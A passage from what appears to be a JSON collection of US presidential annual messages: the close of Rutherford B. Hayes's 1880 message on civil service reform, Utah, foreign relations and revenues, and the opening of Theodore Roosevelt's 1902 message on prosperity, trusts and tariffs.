practicable to extend\nthe system of examinations generally throughout the civil service. It is\nalso highly important that all such examinations should be conducted upon a\nuniform system and under general supervision. Section 1753 of the Revised\nStatutes authorizes the President to prescribe the regulations for\nadmission to the civil service of the United States, and for this purpose\nto employ suitable persons to conduct the requisite inquiries with\nreference to \"the fitness of each candidate, in respect to age, health,\ncharacter, knowledge, and ability for the branch of service into which he\nseeks to enter;\" but the law is practically inoperative for want of the\nrequisite appropriation.I therefore recommend an appropriation of $25,000 per annum to meet the\nexpenses of a commission, to be appointed by the President in accordance\nwith the terms of this section, whose duty it shall be to devise a just,\nuniform, and efficient system of competitive examinations and to supervise\nthe application of the same throughout the entire civil service of the\nGovernment. I am persuaded that the facilities which such a commission will\nafford for testing the fitness of those who apply for office will not only\nbe as welcome a relief to members of Congress as it will be to the\nPresident and heads of Departments, but that it will also greatly tend to\nremove the causes of embarrassment which now inevitably and constantly\nattend the conflicting claims of patronage between the legislative and\nexecutive departments. The most effectual check upon the pernicious\ncompetition of influence and official favoritism in the bestowal of office\nwill be the substitution of an open competition of merit between the\napplicants, in which everyone can make his own record with the assurance\nthat his success will depend upon this alone.I also recommend such legislation as, while leaving every officer as free\nas any other citizen to express his political opinions and to use his means\nfor their advancement, shall also enable him to feel as safe as any private\ncitizen in refusing all demands upon his salary for political purposes. A\nlaw which should thus guarantee true liberty and justice to all who are\nengaged in the public service, and likewise contain stringent provisions\nagainst the use of official authority to coerce the political action of\nprivate citizens or of official subordinates, is greatly to be desired.The most serious obstacle, however, to an improvement of the civil service,\nand especially to a reform in the method of appointment and removal, has\nbeen found to be the practice, under what is known as the spoils system, by\nwhich the appointing power has been so largely encroached upon by members\nof Congress. The first step in the reform of the civil service must be a\ncomplete divorce between Congress and the Executive in the matter of\nappointments. The corrupting doctrine that \"to the victors belong the\nspoils\" is inseparable from Congressional patronage as the established rule\nand practice of parties in power. It comes to be understood by applicants\nfor office and by the people generally that Representatives and Senators\nare entitled to disburse the patronage of their respective districts and\nStates. It is not necessary to recite at length the evils resulting from\nthis invasion of the Executive functions. The true principles of Government\non the subject of appointments to office, as stated in the national\nconventions of the leading parties of the country, have again and again\nbeen approved by the American people, and have not been called in question\nin any quarter. These authentic expressions of public opinion upon this\nall-important subject are the statement of principles that belong to the\nconstitutional structure of the Government. Under the Constitution the\nPresident and heads of Departments are to make nominations for office. The\nSenate is to advise and consent to appointments, and the House of\nRepresentatives is to accuse and prosecute faithless officers. The best\ninterest of the public service demands that these distinctions be\nrespected; that Senators and Representatives, who may be judges and\naccusers, should not dictate appointments to office. To this end the\ncooperation of the legislative department of the Government is required\nalike by the necessities of the case and by public opinion. Members of\nCongress will not be relieved from the demands made upon them with\nreference to appointments to office until by legislative enactment the\npernicious practice is condemned and forbidden.It is therefore recommended that an act be passed defining the relations of\nmembers of Congress with respect to appointment to office by the President;\nand I also recommend that the provisions of section 1767 and of the\nsections following of the Revised Statutes, comprising the tenure-of-office\nact of March 2, 1867, be repealed.Believing that to reform the system and methods of the civil service in our\ncountry is one of the highest and most imperative duties of statesmanship,\nand that it can be permanently done only by the cooperation of the\nlegislative and executive departments of the Government, I again commend\nthe whole subject to your considerate attention.It is the recognized duty and purpose of the people of the United States to\nsuppress polygamy where it now exists in our Territories and to prevent its\nextension. Faithful and zealous efforts have been made by the United States\nauthorities in Utah to enforce the laws against it. Experience has shown\nthat the legislation upon this subject, to be effective, requires extensive\nmodification and amendment. The longer action is delayed the more difficult\nit will be to accomplish what is desired. Prompt and decided measures are\nnecessary. The Mormon sectarian organization which upholds polygamy has the\nwhole power of making and executing the local legislation of the Territory.\nBy its control of the grand and petit juries it possesses large influence\nover the administration of justice. Exercising, as the heads of this sect\ndo, the local political power of the Territory, they are able to make\neffective their hostility to the law of Congress on the subject of\npolygamy, and, in fact, do prevent its enforcement. Polygamy will not be\nabolished if the enforcement of the law depends on those who practice and\nuphold the crime. It can only be suppressed by taking away the political\npower of the sect which encourages and sustains it.The power of Congress to enact suitable laws to protect the Territories is\nample. It is not a case for halfway measures. The political power of the\nMormon sect is increasing. It controls now one of our wealthiest and most\npopulous Territories. It is extending steadily into other Territories.\nWherever it goes it establishes polygamy and sectarian political power. The\nsanctity of marriage and the family relation are the corner stone of our\nAmerican society and civilization. Religious liberty and the separation of\nchurch and state are among the elementary ideas of free institutions. To\nreestablish the interests and principles which polygamy and Mormonism have\nimperiled, and to fully reopen to intelligent and virtuous immigrants of\nall creeds that part of our domain which has been in a great degree closed\nto general immigration by intolerant and immoral institutions, it is\nrecommended that the government of the Territory of Utah be reorganized.I recommend that Congress provide for the government of Utah by a governor\nand judges, or commissioners, appointed by the President and confirmed by\nthe Senate--a government analogous to the provisional government\nestablished for the territory northwest of the Ohio by the ordinance of\n1787. If, however, it is deemed best to continue the existing form of local\ngovernment, I recommend that the right to vote, hold office, and sit on\njuries in the Territory of Utah be confined to those who neither practice\nnor uphold polygamy. If thorough measures are adopted, it is believed that\nwithin a few years the evils which now afflict Utah will be eradicated, and\nthat this Territory will in good time become one of the most prosperous and\nattractive of the new States of the Union.Our relations with all foreign countries have been those of undisturbed\npeace, and have presented no occasion for concern as to their continued\nmaintenance.My anticipation of an early reply from the British Government to the demand\nof indemnity to our fishermen for the injuries suffered by that industry at\nFortune Bay in January, 1878, which I expressed in my last annual message,\nwas disappointed. This answer was received only in the latter part of April\nin the present year, and when received exhibited a failure of accord\nbetween the two Governments as to the measure of the inshore fishing\nprivilege secured to our fishermen by the treaty of Washington of so\nserious a character that I made it the subject of a communication to\nCongress, in which I recommended the adoption of the measures which seemed\nto me proper to be taken by this Government in maintenance of the rights\naccorded to our fishermen under the treaty and toward securing an indemnity\nfor the injury these interests had suffered. A bill to carry out these\nrecommendations was under consideration by the House of Representatives at\nthe time of the adjournment of Congress in June last.Within a few weeks I have received a communication from Her Majesty's\nGovernment renewing the consideration of the subject, both of the indemnity\nfor the injuries at Fortune Bay and of the interpretation of the treaty in\nwhich the previous correspondence had shown the two Governments to be at\nvariance. Upon both these topics the disposition toward a friendly\nagreement is manifested by a recognition of our right to an indemnity for\nthe transaction at Fortune Bay, leaving the measure of such indemnity to\nfurther conference, and by an assent to the view of this Government,\npresented in the previous correspondence, that the regulation of\nconflicting interests of the shore fishery of the provincial seacoasts and\nthe vessel fishery of our fishermen should be made the subject of\nconference and concurrent arrangement between the two Governments.I sincerely hope that the basis may be found for a speedy adjustment of the\nvery serious divergence of views in the interpretation of the fishery\nclauses of the treaty of Washington, which, as the correspondence between\nthe two Governments stood at the close of the last session of Congress,\nseemed to be irreconcilable.In the important exhibition of arts and industries which was held last year\nat Sydney, New South Wales, as well as in that now in progress at\nMelbourne, the United States have been efficiently and honorably\nrepresented. The exhibitors from this country at the former place received\na large number of awards in some of the most considerable departments, and\nthe participation of the United States was recognized by a special mark of\ndistinction. In the exhibition at Melbourne the share taken by our country\nis no less notable, and an equal degree of success is confidently\nexpected.The state of peace and tranquillity now enjoyed by all the nations of the\ncontinent of Europe has its favorable influence upon our diplomatic and\ncommercial relations with them. We have concluded and ratified a convention\nwith the French Republic for the settlement of claims of the citizens of\neither country against the other. Under this convention a commission,\npresided over by a distinguished publicist, appointed in pursuance of the\nrequest of both nations by His Majesty the Emperor of Brazil, has been\norganized and has begun its sessions in this city. A congress to consider\nmeans for the protection of industrial property has recently been in\nsession in Paris, to which I have appointed the ministers of the United\nStates in France and in Belgium as delegates. The International Commission\nupon Weights and Measures also continues its work in Paris. I invite your\nattention to the necessity of an appropriation to be made in time to enable\nthis Government to comply with its obligations under the metrical\nconvention.Our friendly relations with the German Empire continue without\ninterruption. At the recent International Exhibition of Fish and Fisheries\nat Berlin the participation of the United States, notwithstanding the haste\nwith which the commission was forced to make its preparations, was\nextremely successful and meritorious, winning for private exhibitors\nnumerous awards of a high class and for the country at large the principal\nprize of honor offered by His Majesty the Emperor. The results of this\ngreat success can not but be advantageous to this important and growing\nindustry. There have been some questions raised between the two Governments\nas to the proper effect and interpretation of our treaties of\nnaturalization, but recent dispatches from our minister at Berlin show that\nfavorable progress is making toward an understanding in accordance with the\nviews of this Government, which makes and admits no distinction whatever\nbetween the rights of a native and a naturalized citizen of the United\nStates. In practice the complaints of molestation suffered by naturalized\ncitizens abroad have never been fewer than at present.There is nothing of importance to note in our unbroken friendly relations\nwith the Governments of Austria-Hungary, Russia, Portugal, Sweden and\nNorway, Switzerland, Turkey, and Greece.During the last summer several vessels belonging to the merchant marine of\nthis country, sailing in neutral waters of the West Indies, were fired at,\nboarded, and searched by an armed cruiser of the Spanish Government. The\ncircumstances as reported involve not only a private injury to the persons\nconcerned, but also seemed too little observant of the friendly relations\nexisting for a century between this country and Spain. The wrong was\nbrought to the attention of the Spanish Government in a serious protest and\nremonstrance, and the matter is undergoing investigation by the royal\nauthorities with a view to such explanation or reparation as may be called\nfor by the facts.The commission sitting in this city for the adjudication of claims of our\ncitizens against the Government of Spain is, I hope, approaching the\ntermination of its labors.The claims against the United States under the Florida treaty with Spain\nwere submitted to Congress for its action at the late session, and I again\ninvite your attention to this long-standing question, with a view to a\nfinal disposition of the matter.At the invitation of the Spanish Government, a conference has recently been\nheld at the city of Madrid to consider the subject of protection by foreign\npowers of native Moors in the Empire of Morocco. The minister of the United\nStates in Spain was directed to take part in the deliberations of this\nconference, the result of which is a convention signed on behalf of all the\npowers represented. The instrument will be laid before the Senate for its\nconsideration. The Government of the United States has also lost no\nopportunity to urge upon that of the Emperor of Morocco the necessity, in\naccordance with the humane and enlightened spirit of the age, of putting an\nend to the persecutions, which have been so prevalent in that country, of\npersons of a faith other than the Moslem, and especially of the Hebrew\nresidents of Morocco.The consular treaty concluded with Belgium has not yet been officially\npromulgated, owing to the alteration of a word in the text by the Senate of\nthe United States, which occasioned a delay, during which the time allowed\nfor ratification expired. The Senate will be asked to extend the period for\nratification.The attempt to negotiate a treaty of extradition with Denmark failed on\naccount of the objection of the Danish Government to the usual clause\nproviding that each nation should pay the expense of the arrest of the\npersons whose extradition it asks.The provision made by Congress at its last session for the expense of the\ncommission which had been appointed to enter upon negotiations with the\nImperial Government of China on subjects of great interest to the relations\nof the two countries enabled the commissioners to proceed at once upon\ntheir mission. The Imperial Government was prepared to give prompt and\nrespectful attention to the matters brought under negotiation, and the\nconferences proceeded with such rapidity and success that on the 17th of\nNovember last two treaties were signed at Peking, one relating to the\nintroduction of Chinese into this country and one relating to commerce. Mr.\nTrescot, one of the commissioners, is now on his way home bringing the\ntreaties, and it is expected that they will be received in season to be\nlaid before the Senate early in January.Our minister in Japan has negotiated a convention for the reciprocal relief\nof shipwrecked seamen. I take occasion to urge once more upon Congress the\npropriety of making provision for the erection of suitable fireproof\nbuildings at the Japanese capital for the use of the American legation and\nthe court-house and jail connected with it. The Japanese Government, with\ngreat generosity and courtesy, has offered for this purpose an eligible\npiece of land.In my last annual message I invited the attention of Congress to the\nsubject of the indemnity funds received some years ago from China and\nJapan. I renew the recommendation then made that whatever portions of these\nfunds are due to American citizens should be promptly paid and the residue\nreturned to the nations, respectively, to which they justly and equitably\nbelong.The extradition treaty with the Kingdom of the Netherlands, Which has been\nfor some time in course of negotiation, has during the past year been\nconcluded and duly ratified.Relations of friendship and amity have been established between the\nGovernment of the United States and that of Roumania. We have sent a\ndiplomatic representative to Bucharest, and have received at this capital\nthe special envoy who has been charged by His Royal Highness Prince Charles\nto announce the independent sovereignty of Roumania. We hope for a speedy\ndevelopment of commercial relations between the two countries.In my last annual message I expressed the hope that the prevalence of quiet\non the border between this country and Mexico would soon become so assured\nas to justify the modification of the orders then in force to our military\ncommanders in regard to crossing the frontier, without encouraging such\ndisturbances as would endanger the peace of the two countries. Events moved\nin accordance with these expectations, and the orders were accordingly\nwithdrawn, to the entire satisfaction of our own citizens and the Mexican\nGovernment. Subsequently the peace of the border was again disturbed by a\nsavage foray under the command of the Chief Victoria, but by the combined\nand harmonious action of the military forces of both countries his band has\nbeen broken up and substantially destroyed.There is reason to believe that the obstacles which have so long prevented\nrapid and convenient communication between the United States and Mexico by\nrailways are on the point of disappearing, and that several important\nenterprises of this character will soon be set on foot, which can not fail\nto contribute largely to the prosperity of both countries.New envoys from Guatemala, Colombia, Bolivia, Venezuela, and Nicaragua have\nrecently arrived at this capital, whose distinction and enlightenment\nafford the best guaranty of the continuance of friendly relations between\nourselves and these sister Republics.The relations between this Government and that of the United States of\nColombia have engaged public attention during the past year, mainly by\nreason of the project of an interoceanic canal across the Isthmus of\nPanama, to be built by private capital under a concession from the\nColombian Government for that purpose. The treaty obligations subsisting\nbetween the United States and Colombia, by which we guarantee the\nneutrality of the transit and the sovereignty and property of Colombia in\nthe Isthmus, make it necessary that the conditions under which so\nstupendous a change in the region embraced in this guaranty should be\neffected--transforming, as it would, this Isthmus from a barrier between\nthe Atlantic and Pacific oceans into a gateway and thoroughfare between\nthem for the navies and the merchant ships of the world--should receive the\napproval of this Government, as being compatible with the discharge of\nthese obligations on our part and consistent with our interests as the\nprincipal commercial power of the Western Hemisphere. The views which I\nexpressed in a special message to Congress in March last in relation to\nthis project I deem it my duty again to press upon your attention.\nSubsequent consideration has but confirmed the opinion \"that it is the\nright and duty of the United States to assert and maintain such supervision\nand authority over any interoceanic canal across the isthmus that connects\nNorth and South America as will protect our national interest.\"The war between the Republic of Chile on the one hand and the allied\nRepublics of Peru and Bolivia on the other still continues. This Government\nhas not felt called upon to interfere in a contest that is within the\nbelligerent rights of the parties as independent states. We have, however,\nalways held ourselves in readiness to aid in accommodating their\ndifference, and have at different times reminded both belligerents of our\nwillingness to render such service.Our good offices in this direction were recently accepted by all the\nbelligerents, and it was hoped they would prove efficacious; but I regret\nto announce that the measures which the ministers of the United States at\nSantiago and Lima were authorized to take with the view to bring about a\npeace were not successful. In the course of the war some questions have\narisen affecting neutral rights. In all of these the ministers of the\nUnited States have, under their instructions, acted with promptness and\nenergy in protection of American interests.The relations of the United States with the Empire of Brazil continue to be\nmost cordial, and their commercial intercourse steadily increases, to their\nmutual advantage.The internal disorders with which the Argentine Republic has for some time\npast been afflicted, and which have more or less influenced its external\ntrade, are understood to have been brought to a close. This happy result\nmay be expected to redound to the benefit of the foreign commerce of that\nRepublic, as well as to the development of its vast interior resources.In Samoa the Government of King Malietoa, under the support and recognition\nof the consular representatives of the United States, Great Britain, and\nGermany, seems to have given peace and tranquillity to the islands. While\nit does not appear desirable to adopt as a whole the scheme of tripartite\nlocal government which has been proposed, the common interests of the three\ngreat treaty powers require harmony in their relations to the native frame\nof government, and this may be best secured by a simple diplomatic\nagreement between them. It would be well if the consular jurisdiction of\nour representative at Apia were increased in extent and importance so as to\nguard American interests in the surrounding and outlying islands of\nOceanica.The obelisk generously presented by the Khedive of Egypt to the city of New\nYork has safely arrived in this country, and will soon be erected in that\nmetropolis. A commission for the liquidation of the Egyptian debt has\nlately concluded its work, and this Government, at the earnest solicitation\nof the Khedive, has acceded to the provisions adopted by it, which will be\nlaid before Congress for its information. A commission for the revision of\nthe judicial code of the reform tribunal of Egypt is now in session in\nCairo. Mr. Farman, consul-general, and J. M. Batchelder, esq., have been\nappointed as commissioners to participate in this work. The organization of\nthe reform tribunals will probably be continued for another period of five\nyears.In pursuance of the act passed at the last session of Congress, invitations\nhave been extended to foreign maritime states to join in a sanitary\nconference in Washington, beginning the 1st of January. The acceptance of\nthis invitation by many prominent powers gives promise of success in this\nimportant measure, designed to establish a system of international\nnotification by which the spread of infectious or epidemic diseases may be\nmore effectively checked or prevented. The attention of Congress is invited\nto the necessary appropriations for carrying into effect the provisions of\nthe act referred to.The efforts of the Department of State to enlarge the trade and commerce of\nthe United States, through the active agency of consular officers and\nthrough the dissemination of information obtained from them, have been\nunrelaxed. The interest in these efforts, as developed in our commercial\ncommunities, and the value of the information secured by this means to the\ntrade and manufactures of the country were recognized by Congress at its\nlast session, and provision was made for the more frequent publication of\nconsular and other reports by the Department of State. The first issue of\nthis publication has now been prepared, and subsequent issues may regularly\nbe expected. The importance and interest attached to the reports of\nconsular officers are witnessed by the general demand for them by all\nclasses of merchants and manufacturers engaged in our foreign trade. It is\nbelieved that the system of such publications is deserving of the approval\nof Congress, and that the necessary appropriations for its continuance and\nenlargement will commend itself to your consideration.The prosperous energies of our domestic industries and their immense\nproduction of the subjects of foreign commerce invite, and even require, an\nactive development of the wishes and interests of our people in that\ndirection. Especially important is it that our commercial relations with\nthe Atlantic and Pacific coasts of South America, with the West Indies and\nthe Gulf of Mexico, should be direct, and not through the circuit of\nEuropean systems, and should be carried on in our own bottoms. The full\nappreciation of the opportunities which our front on the Pacific Ocean\ngives to commerce with Japan, China, and the East Indies, with Australia\nand the island groups which lie along these routes of navigation, should\ninspire equal efforts to appropriate to our own shipping and to administer\nby our own capital a due proportion of this trade. Whatever modifications\nof our regulations of trade and navigation may be necessary or useful to\nmeet and direct these impulses to the enlargement of our exchanges and of\nour carrying trade I am sure the wisdom of Congress will be ready to\nsupply. One initial measure, however, seems to me so dearly useful and\nefficient that I venture to press it upon your earnest attention. It seems\nto be very evident that the provision of regular steam postal communication\nby aid from government has been the forerunner of the commercial\npredominance of Great Britain on all these coasts and seas, a greater share\nin whose trade is now the desire and the intent of our people. It is also\nmanifest that the efforts of other European nations to contend with Great\nBritain for a share of this commerce have been successful in proportion\nwith their adoption of regular steam postal communication with the markets\nwhose trade they sought. Mexico and the States of South America are anxious\nto receive such postal communication with this country and to aid in their\ndevelopment. Similar cooperation may be looked for in due time from the\nEastern nations and from Australia. It is difficult to see how the lead in\nthis movement can be expected from private interests. In respect of foreign\ncommerce quite as much as in internal trade postal communication seems\nnecessarily a matter of common and public administration, and thus\npertaining to Government. I respectfully recommend to your prompt attention\nsuch just and efficient measures as may conduce to the development of our\nforeign commercial exchanges and the building up of our carrying trade.In this connection I desire also to suggest the very great service which\nmight be expected in enlarging and facilitating our commerce on the Pacific\nOcean were a transmarine cable laid from San Francisco to the Sandwich\nIslands, and thence to Japan at the north and Australia at the south. The\ngreat influence of such means of communication on these routes of\nnavigation in developing and securing the due share of our Pacific Coast in\nthe commerce of the world needs no illustration or enforcement. It may be\nthat such an enterprise, useful, and in the end profitable, as it would\nprove to private investment, may need to be accelerated by prudent\nlegislation by Congress in its aid, and I submit the matter to your careful\nconsideration.An additional and not unimportant, although secondary, reason for fostering\nand enlarging the Navy may be found in the unquestionable service to the\nexpansion of our commerce which would be rendered by the frequent\ncirculation of naval ships in the seas and ports of all quarters of the\nglobe. Ships of the proper construction and equipment to be of the greatest\nefficiency in case of maritime war might be made constant and active agents\nin time of peace in the advancement and protection of our foreign trade and\nin the nurture and discipline of young seamen, who would naturally in some\nnumbers mix with and improve the crews of our merchant ships. Our merchants\nat home and abroad recognize the value to foreign commerce of an active\nmovement of our naval vessels, and the intelligence and patriotic zeal of\nour naval officers in promoting every interest of their countrymen is a\njust subject of national pride.The condition of the financial affairs of the Government, as shown by the\nreport of the Secretary of the Treasury, is very satisfactory. It is\nbelieved that the present financial situation of the United States, whether\nconsidered with respect to trade, currency, credit, growing wealth, or the\nextent and variety of our resources, is more favorable than that of any\nother country of our time, and has never been surpassed by that of any\ncountry at any period of its history. All our industries are thriving; the\nrate of interest is low; new railroads are being constructed; a vast\nimmigration is increasing our population, capital, and labor; new\nenterprises in great number are in progress, and our commercial relations\nwith other countries are improving.The ordinary revenues from all sources for the fiscal year ended June 30,\n1880, were--From customs - $186,522,064.60From internal revenue - 124,009,373.92From sales of public lands - 1,016,506.60From tax on circulation and deposits of national banks - 7,014,971.44From repayment of interest by Pacific Railway companies - 1,707,367.18From sinking fund for Pacific Railway companies - 786,621.22From customs fees, fines, penalties, etc - 1,148,800.16From fees-consular, letters patent, and lands - 2,337,029.00From proceeds of sales of Government property - 282,616.50From profits on coinage, etc - 2,792,186.78From revenues of the District of Columbia - 1,809,469.70From miscellaneous sources - 4,099,603.88 -", 
+    "name": "Rutherford B. Hayes"
+}
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+{
+    "date": "December 2, 1902", 
+    "speech": "To the Senate and House of Representatives:We still continue in a period of unbounded prosperity. This prosperity\nis not the creature of law, but undoubtedly the laws under which we\nwork have been instrumental in creating the conditions which made it\npossible, and by unwise legislation it would be easy enough to destroy\nit. There will undoubtedly be periods of depression. The wave will\nrecede; but the tide will advance. This Nation is seated on a continent\nflanked by two great oceans. It is composed of men the descendants of\npioneers, or, in a sense, pioneers themselves; of men winnowed out from\namong the nations of the Old World by the energy, boldness, and love of\nadventure found in their own eager hearts. Such a Nation, so placed,\nwill surely wrest success from fortune.As a people we have played a large part in the world, and we are bent\nupon making our future even larger than the past. In particular, the\nevents of the last four years have definitely decided that, for woe or\nfor weal, our place must be great among the nations. We may either fall\ngreatly or succeed greatly; but we can not avoid the endeavor from\nwhich either great failure or great success must come. Even if we\nwould, we can not play a small part. If we should try, all that would\nfollow would be that we should play a large part ignobly and\nshamefully.But our people, the sons of the men of the Civil War, the sons of the\nmen who had iron in their blood, rejoice in the present and face the\nfuture high of heart and resolute of will. Ours is not the creed of the\nweakling and the coward; ours is the gospel of hope and of triumphant\nendeavor. We do not shrink from the struggle before us. There are many\nproblems for us to face at the outset of the twentieth century--grave\nproblems abroad and still graver at home; but we know that we can solve\nthem and solve them well, provided only that we bring to the solution\nthe qualities of head and heart which were shown by the men who, in the\ndays of Washington, rounded this Government, and, in the days of\nLincoln, preserved it.No country has ever occupied a higher plane of material well-being than\nours at the present moment. This well-being is due to no sudden or\naccidental causes, but to the play of the economic forces in this\ncountry for over a century; to our laws, our sustained and continuous\npolicies; above all, to the high individual average of our citizenship.\nGreat fortunes have been won by those who have taken the lead in this\nphenomenal industrial development, and most of these fortunes have been\nwon not by doing evil, but as an incident to action which has benefited\nthe community as a whole. Never before has material well-being been so\nwidely diffused among our people. Great fortunes have been accumulated,\nand yet in the aggregate these fortunes are small Indeed when compared\nto the wealth of the people as a whole. The plain people are better off\nthan they have ever been before. The insurance companies, which are\npractically mutual benefit societies--especially helpful to men of\nmoderate means--represent accumulations of capital which are among the\nlargest in this country. There are more deposits in the savings banks,\nmore owners of farms, more well-paid wage-workers in this country now\nthan ever before in our history. Of course, when the conditions have\nfavored the growth of so much that was good, they have also favored\nsomewhat the growth of what was evil. It is eminently necessary that we\nshould endeavor to cut out this evil, but let us keep a due sense of\nproportion; let us not in fixing our gaze upon the lesser evil forget\nthe greater good. The evils are real and some of them are menacing, but\nthey are the outgrowth, not of misery or decadence, but of\nprosperity--of the progress of our gigantic industrial development.\nThis industrial development must not be checked, but side by side with\nit should go such progressive regulation as will diminish the evils. We\nshould fail in our duty if we did not try to remedy the evils, but we\nshall succeed only if we proceed patiently, with practical common sense\nas well as resolution, separating the good from the bad and holding on\nto the former while endeavoring to get rid of the latter.In my Message to the present Congress at its first session I discussed\nat length the question of the regulation of those big corporations\ncommonly doing an interstate business, often with some tendency to\nmonopoly, which are popularly known as trusts. The experience of the\npast year has emphasized, in my opinion, the desirability of the steps\nI then proposed. A fundamental requisite of social efficiency is a high\nstandard of individual energy and excellence; but this is in no wise\ninconsistent with power to act in combination for aims which can not so\nwell be achieved by the individual acting alone. A fundamental base of\ncivilization is the inviolability of property; but this is in no wise\ninconsistent with the right of society to regulate the exercise of the\nartificial powers which it confers upon the owners of property, under\nthe name of corporate franchises, in such a way as to prevent the\nmisuse of these powers. Corporations, and especially combinations of\ncorporations, should be managed under public regulation. Experience has\nshown that under our system of government the necessary supervision can\nnot be obtained by State action. It must therefore be achieved by\nnational action. Our aim is not to do away with corporations; on the\ncontrary, these big aggregations are an inevitable development of\nmodern industrialism, and the effort to destroy them would be futile\nunless accomplished in ways that would work the utmost mischief to the\nentire body politic. We can do nothing of good in the way of regulating\nand supervising these corporations until we fix clearly in our minds\nthat we are not attacking the corporations, but endeavoring to do away\nwith any evil in them. We are not hostile to them; we are merely\ndetermined that they shall be so handled as to subserve the public\ngood. We draw the line against misconduct, not against wealth. The\ncapitalist who, alone or in conjunction with his fellows, performs some\ngreat industrial feat by which he wins money is a welldoer, not a\nwrongdoer, provided only he works in proper and legitimate lines. We\nwish to favor such a man when he does well. We wish to supervise and\ncontrol his actions only to prevent him from doing ill. Publicity can\ndo no harm to the honest corporation; and we need not be over tender\nabout sparing the dishonest corporation.  In curbing and regulating the\ncombinations of capital which are, or may become, injurious to the\npublic we must be careful not to stop the great enterprises which have\nlegitimately reduced the cost of production, not to abandon the place\nwhich our country has won in the leadership of the international\nindustrial world, not to strike down wealth with the result of closing\nfactories and mines, of turning the wage-worker idle in the streets and\nleaving the farmer without a market for what he grows. Insistence upon\nthe impossible means delay in achieving the possible, exactly as, on\nthe other hand, the stubborn defense alike of what is good and what is\nbad in the existing system, the resolute effort to obstruct any attempt\nat betterment, betrays blindness to the historic truth that wise\nevolution is the sure safeguard against revolution.No more important subject can come before the Congress than this of the\nregulation of interstate business. This country can not afford to sit\nsupine on the plea that under our peculiar system of government we are\nhelpless in the presence of the new conditions, and unable to grapple\nwith them or to cut out whatever of evil has arisen in connection with\nthem. The power of the Congress to regulate interstate commerce is an\nabsolute and unqualified grant, and without limitations other than\nthose prescribed by the Constitution. The Congress has constitutional\nauthority to make all laws necessary and proper for executing this\npower, and I am satisfied that this power has not been exhausted by any\nlegislation now on the statute books. It is evident, therefore, that\nevils restrictive of commercial freedom and entailing restraint upon\nnational commerce fall within the regulative power of the Congress, and\nthat a wise and reasonable law would be a necessary and proper exercise\nof Congressional authority to the end that such evils should be\neradicated.I believe that monopolies, unjust discriminations, which prevent or\ncripple competition, fraudulent overcapitalization, and other evils in\ntrust organizations and practices which injuriously affect interstate\ntrade can be prevented under the power of the Congress to \"regulate\ncommerce with foreign nations and among the several States\" through\nregulations and requirements operating directly upon such commerce, the\ninstrumentalities thereof, and those engaged therein.I earnestly recommend this subject to the consideration of the Congress\nwith a view to the passage of a law reasonable in its provisions and\neffective in its operations, upon which the questions can be finally\nadjudicated that now raise doubts as to the necessity of constitutional\namendment. If it prove impossible to accomplish the purposes above set\nforth by such a law, then, assuredly, we should not shrink from\namending the Constitution so as to secure beyond peradventure the power\nsought.The Congress has not heretofore made any appropriation for the better\nenforcement of the antitrust law as it now stands. Very much has been\ndone by the Department of Justice in securing the enforcement of this\nlaw, but much more could be done if the Congress would make a special\nappropriation for this purpose, to be expended under the direction of\nthe Attorney-General.One proposition advocated has been the reduction of the tariff as a\nmeans of reaching the evils of the trusts which fall within the\ncategory I have described. Not merely would this be wholly ineffective,\nbut the diversion of our efforts in such a direction would mean the\nabandonment of all intelligent attempt to do away with these evils.\nMany of the largest corporations, many of those which should certainly\nbe included in any proper scheme of regulation, would not be affected\nin the slightest degree by a change in the tariff, save as such change\ninterfered with the general prosperity of the country. The only\nrelation of the tariff to big corporations as a whole is that the\ntariff makes manufactures profitable, and the tariff remedy proposed\nwould be in effect simply to make manufactures unprofitable. To remove\nthe tariff as a punitive measure directed against trusts would\ninevitably result in ruin to the weaker competitors who are struggling\nagainst them. Our aim should be not by unwise tariff changes to give\nforeign products the advantage over domestic products, but by proper\nregulation to give domestic competition a fair chance; and this end can\nnot be reached by any tariff changes which would affect unfavorably all\ndomestic competitors, good and bad alike. The question of regulation of\nthe trusts stands apart from the question of tariff revision.Stability of economic policy must always be the prime economic need of\nthis country. This stability should not be fossilization. The country\nhas acquiesced in the wisdom of the protective-tariff principle. It is\nexceedingly undesirable that this system should be destroyed or that\nthere should be violent and radical changes therein. Our past\nexperience shows that great prosperity in this country has always come\nunder a protective tariff; and that the country can not prosper under\nfitful tariff changes at short intervals. Moreover, if the tariff laws\nas a whole work well, and if business has prospered under them and is\nprospering, it is better to endure for a time slight inconveniences and\ninequalities in some schedules than to upset business by too quick and\ntoo radical changes. It is most earnestly to be wished that we could\ntreat the tariff from the standpoint solely of our business needs. It\nis, perhaps, too much to hope that partisanship may be entirely\nexcluded from consideration of the subject, but at least it can be made\nsecondary to the business interests of the country--that is, to the\ninterests of our people as a whole. Unquestionably these business\ninterests will best be served if together with fixity of principle as\nregards the tariff we combine a system which will permit us from time\nto time to make the necessary reapplication of the principle to the\nshifting national needs. We must take scrupulous care that the\nreapplication shall be made in such a way that it will not amount to a\ndislocation of our system, the mere threat of which (not to speak of\nthe performance) would produce paralysis in the business energies of\nthe community. The first consideration in making these changes would,\nof course, be to preserve the principle which underlies our whole\ntariff system--that is, the principle of putting American business\ninterests at least on a full equality with interests abroad, and of\nalways allowing a sufficient rate of duty to more than cover the\ndifference between the labor cost here and abroad. The well-being of\nthe wage-worker, like the well-being of the tiller of the soil, should\nbe treated as an essential in shaping our whole economic policy. There\nmust never be any change which will jeopardize the standard of comfort,\nthe standard of wages of the American wage-worker.One way in which the readjustment sought can be reached is by\nreciprocity treaties. It is greatly to be desired that such treaties\nmay be adopted. They can be used to widen our markets and to give a\ngreater field for the activities of our producers on the one hand, and\non the other hand to secure in practical shape the lowering of duties\nwhen they are no longer needed for protection among our own people, or\nwhen the minimum of damage done may be disregarded for the sake of the\nmaximum of good accomplished. If it prove impossible to ratify the\npending treaties, and if there seem to be no warrant for the endeavor\nto execute others, or to amend the pending treaties so that they can be\nratified, then the same end--to secure reciprocity--should be met by\ndirect legislation.Wherever the tariff conditions are such that a needed change can not\nwith advantage be made by the application of the reciprocity idea, then\nit can be made outright by a lowering of duties on a given product. If\npossible, such change should be made only after the fullest\nconsideration by practical experts, who should approach the subject\nfrom a business standpoint, having in view both the particular\ninterests affected and the commercial well-being of the people as a\nwhole. The machinery for providing such careful investigation can\nreadily be supplied. The executive department has already at its\ndisposal methods of collecting facts and figures; and if the Congress\ndesires additional consideration to that which will be given the\nsubject by its own committees, then a commission of business experts\ncan be appointed whose duty it should be to recommend action by the\nCongress after a deliberate and scientific examination of the various\nschedules as they are affected by the changed and changing conditions.\nThe unhurried and unbiased report of this commission would show what\nchanges should be made in the various schedules, and how far these\nchanges could go without also changing the great prosperity which 